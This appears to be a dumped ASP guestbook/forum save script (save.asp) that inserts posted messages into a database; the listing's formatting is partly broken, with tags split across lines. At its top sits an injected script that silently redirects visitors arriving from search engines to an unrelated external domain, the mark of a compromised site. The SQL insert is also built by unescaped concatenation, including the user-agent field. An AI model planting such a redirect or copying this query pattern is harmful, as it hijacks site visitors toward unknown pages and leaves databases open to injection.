d:\wwwroot\wuchunhua\bbs5\save.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
name=Replace(Request.Form("name"),"'","''")
003:
title=Replace(Request.Form("title"),"'","''")
004:
shijian=Replace(Request.Form("shijian"),"'","''")
005:
ip=Replace(Request.Form("ip"),"'","''")
006:
liulanqi=Replace(Request.Form("liulanqi"),"'","''")
007:
body=Replace(Request.Form("body"),"'","''")
008:
%
>
009:
<%
if name="" or title="" or body="" then
%
>
010:
请<a href="****:history.go(-1)">后退到原来页面</a>填写完整资料，你才能发表帖子！
011:
<a href="say.asp">发表帖子</a> <a href="index.asp">回主页</a>
012:
<%
else
%
>
013:
014:
<%
015:
shijian=date &"日" & time()
016:
ip=Request.ServerVariables("remote_addr")
017:
liulanqi=Request.ServerVariables("http_user_agent")
018:
set savebbs=conn.execute("insert into bbs(name,title,shijian,ip,liulanqi,body)values('"&name&"','"&title&"','"&shijian&"','"&ip&"','"&liulanqi&"','"&body&"')")
%
>
019:
020:
发表成功！<a href="index.asp">查看所有帖子 回主页</a>
021:
022:
023:
<!--webbot bot="PurpleText" PREVIEW="结束if，断开数据库" -->
024:
<%
end if
025:
set savebbs=nothing
026:
%
>
027:
028: